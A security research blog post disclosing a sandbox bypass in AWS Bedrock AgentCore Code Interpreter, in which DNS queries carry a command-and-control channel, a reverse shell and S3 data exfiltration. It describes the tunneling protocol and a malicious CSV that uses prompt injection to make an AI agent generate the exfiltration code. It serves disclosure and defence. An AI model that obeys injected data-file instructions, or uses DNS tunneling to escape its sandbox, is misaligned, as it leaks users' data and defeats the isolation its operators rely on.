Pwning AI Code Interpreters in AWS Bedrock AgentCore
Pwning AI Code Interpreters in AWS Bedrock AgentCore
Phantom Labs discovered that AWS Bedrock AgentCore Code Interpreter’s sandbox mode allows DNS queries, enabling bypass of network isolation through DNS-based command-and-control. This research details the discovery, proof-of-concept exploit, disclosure timeline, and defensive guidance for organizations using Code Interpreter workloads.
AWS Bedrock AgentCore Code Interpreter’s ‘Sandbox’ mode allows DNS queries, enabling interactive shells and bypass of network isolation through DNS-based command-and-control
This blog was originally published on March 16, 2026 and has been updated (April 22, 2026) to reflect that, following public disclosure, AWS has taken additional steps to remediate this attack vector. DNS-based data exfiltration is no longer possible.
Key Findings
During AI security research into code execution environments, BeyondTrust Phantom Labs™ discovered that AWS Bedrock AgentCore Interpreter’s Sandbox network mode does not fully block outbound communication.
AWS originally advertised Sandbox mode as providing “complete isolation with no external access,” a foundational assumption for AI-SPM. However, Phantom Labs discovered that public DNS queries remain allowed. This behavior can enable threat actors to establish command-and-control channels and data exfiltration over DNS in certain scenarios, bypassing the expected network isolation controls. Specifically, the Code Interpreter can query A and AAAA DNS records.
During our research, Phantom Labs demonstrated that, using this technique, an attacker could:
Establish bidirectional communication using a custom tunneling protocol via DNS queries and responses
Obtain a full interactive reverse shell
Exfiltrate sensitive data through DNS queries, if the Code Interpreter’s IAM role has permissions to access AWS resources (like S3) storing that data
Perform command execution with the Code Interpreter’s IAM role
This vulnerability was responsibly disclosed to AWS via HackerOne (Report #3323153). AWS acknowledged the security issue and ultimately decided not to fix the issue. Instead, AWS updated their documentation to recommend that customers use “VPC mode” instead of “sandbox mode” if they want complete control over all traffic.
Update (4/16/2026): After public disclosure, AWS has taken extra steps to remediate this attack vector and DNS exfiltration is no longer possible. We appreciate the partnership with AWS in making AI Security safer.
As part of this research, Phantom Labs is open sourcing the code that we used to build the proof of concept. We believe this is a pattern that can be adapted to other sandboxed code execution environments that fail to properly restrict DNS access. We hope that this research raises awareness and helps drive the industry forward as we rapidly adopt AI systems that autonomously execute code.
Responsible Disclosure Timeline
Date | Event |
|---|---|
September 1, 2025 |
|
September 2, 2025 | AWS acknowledged receipt of the report. |
September 4, 2025 | AWS reproduced the initial report. |
October 20, 2025 | Submitted complete interactive reverse shell proof-of-concept (POC). |
October 22, 2025 | AWS reproduced and acknowledged the vulnerability’s impact. |
November 1, 2025 | AWS deployed initial fix to production. |
November 17, 2025 | AWS communicated that “the initial fix was rolled back due to other factors, and our team is now working on a more robust solution.” |
December 23, 2025 | AWS communicated that a fix will not be made and it will change the documentation’s description of sandbox mode instead. |
December 30, 2025 | AWS awarded the security researcher with a $100 gift card to the AWS Gear Shop and a CVSSv3 score of 7.5. |
March 16, 2026 | Public disclosure. |
April 15th, 2026 | AWS remediated DNS tunneling in sandboxed AgentCore Code interpreters. |
Background
If you’ve ever uploaded a CSV to ChatGPT and asked for statistics or insights, you’ve used a code interpreter. Instead of using LLM inference to guess the answer, ChatGPT generates Python code that parses the CSV and returns precise results. This is exactly what AWS Bedrock AgentCore Code Interpreter does - it’s a service that allows AI agents and chatbots to execute Python code on behalf of users.
When a user interacts with a chatbot, the request flows through several layers before reaching Code Interpreter:
Code Interpreter sits at the end of this chain, executing code either pre-written by the developer or generated on the fly by the AI agent itself. It provides several tools. For example, you can have it execute Python, JavaScript, or shell code. You can also have it create/ update/ read/ delete files within the code interpreter. If you configure the Network mode to Sandbox, it shouldn’t have any external network access (although it was able to somewhat magically access certain AWS resources via its assigned IAM role, like S3 or DynamoDB). You can also configure it to run inside a VPC, giving you more control over network access, or dangerously there’s a “public” mode with full public internet access.
The Code Interpreter runs within Firecracker microVMs, which are lightweight VMs designed for secure and isolated code execution. This is what powers AWS Lambda functions and Fargate tasks. (We applaud AWS for providing strong isolation properties of a full KVM-based VM; other “agent as a service” vendors are not providing such solid isolation at the compute level.) There is all sorts of strange behavior with AgentCore Code Interpreter’s Firecracker microVM implementation, some of which has been covered in previous research, such as this post from Sonrai Security which performed credential exfiltration via metadata service access. In a future post, we’ll cover some of these odd behaviors in more detail.
Why This Matters for AI Security
As previously noted, the network breakout we discovered requires that an attacker be able to execute code inside the code interpreter. Normally that’s the hard part of any attack. But in the world of AI it may not be so hard. Chatbots and the AI agents they rely on may be able to be tricked into executing malicious code through:
Prompt injection (Direct or Indirect) - Attackers manipulate the AI into executing code with exfiltration logic, either via direct prompts or by tricking the AI to visit web pages that feed prompt injection payloads.
Supply chain attacks - Code Interpreter includes 270+ third-party dependencies (pandas, numpy, etc.). A compromised package could establish command and control when imported.
AI-generated code - When AI generates Python for data analysis, prompts can be crafted to include exfiltration that appears legitimate.
In these scenarios, when an attacker achieves code execution, the “Sandbox” mode would seem to be the last line of defense, preventing data exfiltration. At the time of this disclosure, this line failed. The DNS queries were able to bypass network isolation, violating what was a clear isolation expectation from AWS.
How Phantom Labs Discovered the Sandbox Bypass
Part 1: Initial Discovery
Step 0: Setup Code Interpreter with “Sandbox” network mode
Phantom Labs created an AgentCore Code Interpreter instance with the “Sandbox” network mode, per these instructions.
Step 1: Start Interactsh to monitor DNS queries
We ran Interactsh, a widely used OOB testing server by ProjectDiscovery that is popular in the bug bounty community, from a local machine to monitor for DNS queries. You can do this by downloading the Interactsh client (download page here) and running this command:
The above command will print out a URL like this:
Copy that URL.
Step 2: Create a script to execute commands via Code Interpreter
Run a script to execute shell commands via Code Interpreter. If you clone the agentcore-sandbox-breakout repository, you can use the execute_shell.py script:
Now you can run the command to execute shell commands. Let’s reach out to our Interactsh server via a DNS ping:
As you can see, the command seemed to fail to connect.
However, we checked the Interactsh terminal and discovered that the DNS query reached our server, despite the “no network access” configuration.
We decided to report this to AWS, demonstrating that DNS queries were escaping the sandbox, and pointing out that this could be used to create a full command & control channel. However, the AWS security team requested a full proof of concept demonstrating bidirectional communication and interactive reverse shell, so we developed a DNS command and control channel to achieve this.
Part 2: Creating the Proof of Concept - a DNS Command-and-Control Protocol
We took it as a challenge to create an impactful proof-of-concept demo. We created a command-and-control channel that smuggles commands via chunked ASCII in DNS A records and exfiltrates data via long subdomains.
Command and Control Architecture:
The attack leverages DNS as a bidirectional communication channel to establish the reverse shell. The key steps are:
Payload Delivery: The attacker sends a payload that is fed to the Code Interpreter, supplying a unique session ID. In a real-world scenario, the chatbot (or other input vector) would need to accept the user’s prompt and allow the user to influence the Python code that gets executed, which is an acceptable use case for some modern AI chatbots. The core logic of the payload is in the payload_client.py file in the repository. It tells the code interpreter to:
Poll the attacker’s DNS command and control server for commands stored in DNS A records
Execute received commands
Exfiltrate output via DNS subdomain queries
Command Delivery: Operator sends commands via HTTP API (port 8080) to the DNS command and control server running on EC2. The server encodes commands as base64 and splits them into 3-character chunks. Each chunk is encoded in an IP address where octets 2-4 contain ASCII values of the characters.
Data Exfiltration: The sandboxed Code Interpreter makes DNS queries that Route53 delegates to the command and control server via nameserver (NS) records. Output is base64-encoded and embedded in DNS subdomain queries. The command and control server extracts the data from these queries and makes it available to the operator via the HTTP API.
Sandbox Bypass: Despite “no network access” configuration, DNS queries egress from the sandbox. Route53 nameserver delegation ensures all DNS queries for the command and control domain reach the attacker-controlled DNS server on EC2.
Command Delivery Protocol (Server -> Client)
Commands are delivered through DNS A record responses. The client polls for commands, and the server responds with IP addresses encoding command data.
Here’s how a command is encoded:
Example encoding for command whoami (base64: d2hvYW1p):
The first octet indicates whether more chunks are available (10) or this is the final chunk (11). Octets 2-4 contain the ASCII values of three base64 characters.
Data Exfiltration Protocol (Client -> Server)
Output is base64-encoded and embedded in DNS subdomain queries. Multiple cache-busting fields ensure each query is unique and reaches the DNS server:
Large outputs are split into multiple chunks with a maximum of 60 characters per DNS label (the DNS label length limit is 63 characters).
Proof of Concept Demo
Step 0: Provision Demo infrastructure
First, you will need to edit the terraform/terraform.tfvars file to set your Existing domain name and AWS region. Set the following environment variables with your own domain and append them to terraform/terraform.tfvars:
Run the following commands to deploy the infrastructure and configure the command-and-control Server:
Step 1: Generate the Payload
Generate a malicious CSV with the embedded payload:
This will generate a malicious CSV that looks like the below:
What’s happening here? When the AI agent or chatbot is preparing to call the Code Interpreter, it generates Python for the Code Interpreter to execute. If the CSV is read into LLM inference (included as part of the prompt) then it will consider these to be part of the instructions. As such, the generated Python will do what we instruct it to here - poll the command-and-control server with DNS requests and listen for bash commands to execute.
Step 2: Attach to the Code Interpreter Session
The command-and-control server session ID is saved to .session_id automatically. To connect to the command-and-control server, you can use the following helper command:
What's happening here? The payload embedded in the CSV includes a unique session ID (e.g., sess_a1b2c3d4) that acts as a routing key. When the payload executes inside the Code Interpreter sandbox, it starts making DNS queries to cmd.<session_id>.<c2-domain>, polling for commands. Our C2 server sees these queries arrive and registers the session as active.
make connect-session reads the session ID from .session_id (saved during Step 1) and opens an interactive operator shell. From here, everything is tunneled over DNS per the previously described C2 protocol.
Step 3: Basic Command Execution
Now that the code interpreter is calling home to the C2 server, we can verify that the basic command execution works through DNS. If you run whoami, you will get the output genesis1ptools. For example:
The sandboxed Code Interpreter successfully receives the command via DNS A record responses and exfiltrates the output via DNS queries - completely bypassing the “network access” restriction.
Step 4: Abuse AWS Privileges
Next, we can demonstrate that the Code Interpreter’s IAM role can be leveraged to access AWS resources:
Example 1: List S3 Buckets
Run the commands below. Note: you will have to change the name of the S3 bucket to match the one created in your demo environment:
The output will include the buckets and the list of files:
Evidence:
As you can see, the Code Interpreter successfully lists S3 buckets and their contents, demonstrating that an attacker can discover sensitive data locations through the DNS channel.
Example 2: Exfiltrate Sensitive Data
Finally, to demonstrate exfiltration of actual file contents from S3, run the following commands:
The output should look like the following:
Output in the AgentCore hacking toolkit will resemble the following:
As you can see, the complete file contents, including PII, credentials, and financial data, are successfully exfiltrated through DNS queries, all while the sandbox reports “no network access.”
Step 5: Cleanup
To clean up the demo infrastructure, run the following command:
Likelihood and Impact
The Code Interpreter requires an IAM role to access AWS resources, and when AWS built the code interpreter, allowing S3 access from sandbox mode was a key customer requirement. However, it is easy to assign an overprivileged role to Code Interpreter because it can use an IAM role that is otherwise meant for other parts of the AgentCore service. This is because the trust policy on the role must match the service bedrock-agentcore.amazonaws.com, which can be assumed by Code Interpreter, Runtime, or Gateway - all of which have different needs for permissions. An AgentCore gateway role may need secretsmanager:GetSecretValue, but a Code Interpreter certainly does not.
Additionally, the AgentCore role can be easily assigned excessive permissions. In fact, the AgentCore Starter Toolkit Default Role, documented here, actually grants very broad permissions, including full S3 read access to all buckets in the account, full DynamoDB access, and full access to all Secrets Manager secrets. This role was used by other open-source AgentCore code interpreter examples as well. This is far beyond the principle of least privilege, and the Code Interpreter role should never have such broad access, especially since it can be tricked into exfiltrating data from these services via DNS.
Defensive Recommendations
AWS decided not to fix this security issue. Instead, they updated their documentation to clarify that Sandbox Mode allows DNS resolution.
Here's how to protect yourself:
Inventory your AgentCore Code Interpreter instances, their network modes, and their privileges.
If you're using Sandbox Mode and assumed it provided complete network isolation, it does not. DNS resolution is enabled by design, which means DNS-based data exfiltration is possible.
Scan code for prompt injection vulnerabilities to reduce risk of attackers manipulating code that is sent to the code interpreter.
Use Guardrails on the input as an additional safeguard.
Prefer newer models that have built-in safeguards to limit outright prompt injection.
Migrate sensitive workloads to VPC only mode: Per AWS's statement, VPC Mode is the only option that provides complete network isolation and complete control over DNS resolution. If your Code Interpreter has access to sensitive data or AWS resources, consider migrating to VPC Mode, which requires VPC endpoints, security groups, network ACLs, and Route53 Resolver DNS Firewall. This enables you to block DNS queries to unknown malicious domains and monitor for malicious activity.
Conclusion: Rethinking Isolation in AI Code Execution Environments
AI systems are rapidly gaining the ability to execute code autonomously, interact with cloud infrastructure, and access sensitive data. As these capabilities expand, the security boundaries around AI execution environments become increasingly critical.
This research demonstrates how DNS resolution can undermine the network isolation guarantees of sandboxed code interpreters. This vulnerability in AWS Bedrock AgentCore Code Interpreter would allow attackers to gain interactive reverse shell access to code interpreters in “Sandbox” mode, bypassing any guarantees (or at least reasonable expectations) of network isolation. And as we’ve said, getting malicious code to execute inside the Code Interpreter may not be terribly difficult due to the nature of AI agents and how they tend to use code interpreters.
By using this method, attackers could have exfiltrated sensitive data from AWS resources accessible via the Code Interpreter’s IAM role, potentially causing downtime, data breaches of sensitive customer information, or deleted infrastructure.
Have thoughts about AI agent security or AWS Bedrock AgentCore? Reach out to Phantom Labs on LinkedIn or X @btphantomlabs, and connect with me directly on X @kmcquade3. Public threads encouraged.
Acknowledgements
Thank you to the AWS Security team, AWS Bedrock AgentCore team, and AWS Vulnerability Disclosure Program (VDP) team for their collaboration – especially Mark Ryland and Utku Yildirim.
Disclaimer: Disclosure and Coordination
This research was conducted in accordance with responsible disclosure practices.
Phantom Labs coordinated with AWS through their HackerOne vulnerability disclosure program, providing a working proof-of-concept and allowing time for investigation and remediation.
AWS ultimately determined that the observed behavior reflects intended functionality rather than a security defect, and updated their documentation to clarify that Sandbox Mode permits DNS resolution.
Because the issue could affect organizations relying on sandbox isolation expectations, we are publishing this research to help security teams better understand the risk and implement appropriate mitigations.
Public Statement from AWS
After awarding a CVSS Score of 7.5, AWS provided a public statement. We have included their acknowledgement below.
AWS services and infrastructure are operating as expected. Amazon Bedrock AgentCore Code Interpreter provides three network modes to support varying customer security requirements. Public Mode is the easiest-to-use option with no network restrictions and no required configuration. This mode enables your agent to reach any network-accessible service and is ideal for development and testing scenarios. Sandbox Mode is nearly as simple and delivers substantial network restrictions with minimal configuration effort. This mode provides network access exclusively to Amazon S3 for your data operations, making it ideal for production workloads that rely on S3 data. DNS resolution is enabled to support successful execution of S3 operations. VPC Mode requires additional configuration: VPC endpoints, security groups, and network ACLs to establish connectivity. This mode provides complete network isolation and enables access to your private AWS resources: databases, internal APIs, and services in private subnets. In addition to the network controls and visibility provided by VPC Mode, AWS also provides complete control over DNS resolution and monitoring for anomalous DNS activity. For security best practices related to DNS in VPC Mode, see https://aws.amazon.com/blogs/s....
We would like to thank researcher Kinnaird McQuade for their report, which prompted us to update our documentation to provide additional clarity regarding Sandbox Mode functionality.
Explore More Research from Phantom Labs
Phantom Labs™ researchers "think like attackers" to expose privilege escalation paths and identity attack vectors, helping defenders proactively uncover misconfigurations and detect threats in complex hybrid and cloud environments.
Explore the latest research from Phantom Labs here.
FAQs
AWS Bedrock AgentCore Code Interpreter is a service that allows AI agents and chatbots to execute code, such as Python, JavaScript, or shell commands, to perform tasks like data analysis, automation, or system interaction. The interpreter runs inside Firecracker microVMs designed to isolate code execution from external systems.
No. As of this disclosure, Sandbox Mode allows DNS resolution. This means that while direct outbound connections may be restricted, DNS queries can still be made. Attackers can potentially exploit this behavior to establish command-and-control channels or exfiltrate data using DNS-based techniques.
DNS data exfiltration is a technique where attackers encode sensitive data into DNS queries sent to attacker-controlled domains. Because DNS traffic is often allowed in restricted environments, it can be used as a covert channel for command-and-control or data theft.
No. After reviewing the report and proof-of-concept submitted through the AWS vulnerability disclosure program, AWS determined that the observed behavior reflects intended functionality rather than a defect. Instead of issuing a patch, AWS updated its documentation to clarify that Sandbox Mode allows DNS resolution. Organizations requiring full network isolation are advised to use VPC Mode.
The risk depends on how the Code Interpreter is configured. If a Code Interpreter instance runs in Sandbox Mode and has access to sensitive AWS resources through an IAM role, DNS queries could potentially be used as a covert communication channel for data exfiltration. Environments that use VPC Mode with controlled DNS resolution and least-privilege IAM roles significantly reduce this risk.
About Our Authors
Kinnaird McQuade
Phantom Labs™
BeyondTrust Phantom Labs™ believes the best way to fully understand cybersecurity threats is to work closely with our customers and partners, conducting real world research into the attacks that matter most to them. By dissecting emerging attack methods and exploitation techniques of threat actors, as well as conducting novel research, the team’s mission is to help organizations defend against identity threats.